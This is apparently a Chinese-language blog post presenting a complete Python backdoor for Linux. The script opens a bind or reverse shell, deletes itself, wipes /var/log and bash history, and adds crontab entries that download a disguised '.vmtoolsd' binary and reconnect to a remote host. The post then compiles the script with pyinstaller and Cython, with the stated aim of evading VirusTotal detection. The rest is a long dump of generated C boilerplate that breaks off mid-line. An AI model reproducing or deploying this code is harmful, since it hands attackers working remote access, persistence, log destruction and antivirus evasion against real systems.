零、背景
最近研究了一下之前的反弹shell的python代码块,写了一点代码尝试在LInux下绑定和反弹shell(正反向),看了一些代码,基本是两种思路。1、本地shell的输入输出通过管道与socket的输入输出进行映射。2、socket的指令在agent本地调用命令执行,结果再传回去(但是目前在测试中发现cd命令无法执行)。
一、Python源代码
比较简单,不在赘述,上源码
# -*- coding:utf-8 -*-
# 引入依赖的库、包、模块
import os
import fcntl
import socket
import subprocess
from optparse import OptionParser
# 定义shell函数
def BindConnect(addr, port):
'''正向连接shell'''
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((addr,port))
shell.listen(1)
except Exception as reason:
print ('[-] Failed to Create Socket : %s'%reason)
exit(0)
try:
client,addr = shell.accept()
#下面三行代码将socket的输入输出对应到了终端shell(terminal)的
os.dup2(client.fileno(),0)#将clientsocket的内容对应到标准输入,也就是,socket的输入的内容到shell内容当中去
os.dup2(client.fileno(),1)#将clientsocket的内容对应到标准输出,也就是,shell的输出的内容到socket内容当中去
os.dup2(client.fileno(),2)#标准错误
subprocess.call(["/bin/bash", "-i"])
except Exception as reason:
print ('[-] Failed to Create Shell : %s'%reason)
exit(0)
def ReserveConnect(addr, port):
'''反弹连接shell'''
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.connect((addr,port))
except Exception as reason:
print ('[-] Failed to Create Socket : %s'%reason)
exit(0)
try:
os.dup2(shell.fileno(),0)
os.dup2(shell.fileno(),1)
os.dup2(shell.fileno(),2)
subprocess.call(["/bin/bash", "-i"])
except Exception as reason:
print ('[-] Failed to Create Shell : %s'%reason)
exit(0)
#定义辅助功能函数
def SingletonRunning():
'''单例模式运行'''
pidfile = open(os.path.realpath(str(__file__).split(".py")[0]), 'r')
try:
fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
except Exception as reason:
print ("[-] There is another shell is running")
exit(0)
def deleteSelf():
'''自删除文件'''
filename = os.getcwd()+"/%s"%(str(__file__).split(".py")[0])
os.remove(filename)
def unsetLog():
'''停止口令记录'''
os.popen("unset history")
def clearLog():
'''清除日志'''
os.popen("rm -f /var/log/*")
os.popen("echo '' > ~/.bash_history")
def appendCrontab():
'''增加计划任务'''
os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
# 主函数运行
if __name__ == "__main__":
SingletonRunning()
optParser = OptionParser()
optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
optParser.add_option('-b','--bind', action='store_true', dest='bind')
optParser.add_option("-a","--addr", dest="addr")
optParser.add_option("-p","--port", dest="port")
options , args = optParser.parse_args()
deleteSelf()
unsetLog()
if options.reverse:
ReserveConnect(options.addr, int(options.port))
elif options.bind:
BindConnect(options.addr, int(options.port))
clearLog()
appendCrontab()
二、使用pyinstaller编译
可以打包发布,这样对环境的依赖问题解决
pyinstaller -F backdoor.py
使用VT检查结果
三、使用Cython转换成C代码加速,且可以过VT
cython backdoor.py --embed
gcc `python-config --cflags` -o warcraft3 backdoor.c `python-config --ldflags`
转成代码如下:
编译后,转成新的,VT测试
/* Generated by Cython 0.26.1 */#define PY_SSIZE_T_CLEAN#include "Python.h"#ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python.#elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+.#else#define CYTHON_ABI "0_26_1"#include <stddef.h>#ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member )#endif#if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif#endif#ifndef DL_IMPORT #define DL_IMPORT(t) t#endif#ifndef DL_EXPORT #define DL_EXPORT(t) t#endif#define __PYX_COMMA ,#ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif#endif#ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG#endif#ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL#endif#ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0#elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0#else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #elif !defined(CYTHON_USE_PYTYPE_LOOKUP) #define CYTHON_USE_PYTYPE_LOOKUP 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif#endif#if !defined(CYTHON_FAST_PYCCALL)#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1)#endif#if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK#endif#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0#endif#define __PYX_BUILD_PY_SSIZE_T "n"#define CYTHON_FORMAT_SSIZE_T "z"#if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type#else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type#endif#ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0#endif#ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0#endif#ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0#endif#ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0#endif#if PY_VERSION_HEX < 0x030700A0 || !defined(METH_FASTCALL) #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 #endif typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs); typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames);#else #define __Pyx_PyCFunctionFast _PyCFunctionFast #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords#endif#if CYTHON_FAST_PYCCALL#define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS)))))#else#define __Pyx_PyFastCFunction_Check(func) 0#endif#if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u)))#else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u))#endif#if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b)#else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b))#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p)#endif#if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno)#else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno)#endif#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b))#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b))#if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b)#else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b)#endif#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o)#endif#if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact#endif#if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj)#else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj))#endif#ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type)#endif#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception)#if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long#endif#if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject#endif#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif#endif#if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong#else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t#endif#if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func))#else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass)#endif#ifndef __has_attribute #define __has_attribute(x) 0#endif#ifndef __has_cpp_attribute #define __has_cpp_attribute(x) 0#endif#if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif#else #define __Pyx_PyType_AsAsync(obj) NULL#endif#ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif#endif#ifndef CYTHON_UNUSED# if defined(__GNUC__)# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))# define CYTHON_UNUSED __attribute__ ((__unused__))# else# define CYTHON_UNUSED# endif# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER))# define CYTHON_UNUSED __attribute__ ((__unused__))# else# define CYTHON_UNUSED# endif#endif#ifndef CYTHON_MAYBE_UNUSED_VAR# if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { }# else# define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x)# endif#endif#ifndef CYTHON_NCP_UNUSED# if CYTHON_COMPILING_IN_CPYTHON# define CYTHON_NCP_UNUSED# else# define CYTHON_NCP_UNUSED CYTHON_UNUSED# endif#endif#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None)#ifdef _MSC_VER #ifndef _MSC_STDINT_H_ #if _MSC_VER < 1300 typedef unsigned char uint8_t; typedef unsigned int uint32_t; #else typedef unsigned __int8 uint8_t; typedef unsigned __int32 uint32_t; #endif #endif#else #include <stdint.h>#endif#ifndef CYTHON_FALLTHROUGH #ifdef __cplusplus #if __has_cpp_attribute(fallthrough) #define CYTHON_FALLTHROUGH [[fallthrough]] #elif __has_cpp_attribute(clang::fallthrough) #define CYTHON_FALLTHROUGH [[clang::fallthrough]] #endif #endif #ifndef CYTHON_FALLTHROUGH #if __has_attribute(fallthrough) || (defined(__GNUC__) && defined(__attribute__)) #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) #else #define CYTHON_FALLTHROUGH #endif #endif#endif#ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #elif defined(__GNUC__) #define CYTHON_INLINE __inline__ #elif defined(_MSC_VER) #define CYTHON_INLINE __inline #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_INLINE inline #else #define CYTHON_INLINE #endif#endif#if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES#endif#include <math.h>#ifdef NAN#define __PYX_NAN() ((float) NAN)#elsestatic CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value;}#endif#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL)#define __Pyx_truncl trunc#else#define __Pyx_truncl truncl#endif#define __PYX_ERR(f_index, lineno, Ln_error) \{ \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \}#if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y)#else #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y)#endif#ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif#endif#define __PYX_HAVE__warcraft3#define __PYX_HAVE_API__warcraft3#ifdef _OPENMP#include <omp.h>#endif /* _OPENMP */#ifdef PYREX_WITHOUT_ASSERTIONS#define CYTHON_WITHOUT_ASSERTIONS#endiftypedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry;#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0#define __PYX_DEFAULT_STRING_ENCODING ""#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize#define __Pyx_uchar_cast(c) ((unsigned char)c)#define __Pyx_long_cast(x) ((long)x)#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) )#if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value)#elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value)#elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value)#elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value)#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value)#elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value)#else #define __Pyx_sst_abs(value) ((value<0) ? -value : value)#endifstatic CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*);static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length);#define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s))#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l)#define __Pyx_PyBytes_FromString PyBytes_FromString#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSizestatic CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*);#if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize#else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize#endif#define __Pyx_PyObject_AsWritableString(s) ((char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsWritableSString(s) ((signed char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s)#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s)#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s)#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s)#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s)#if PY_MAJOR_VERSION < 3static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u){ const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1);}#else#define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen#endif#define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u))#define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj)#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None)#define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False))static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x);static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);#if CYTHON_ASSUME_SAFE_MACROS#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))#else#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x)#endif#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x))#if PY_MAJOR_VERSION >= 3#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x))#else#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x))#endif#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x))#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCIIstatic int __Pyx_sys_getdefaultencoding_not_ascii;static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0;bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1;}#endif#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && 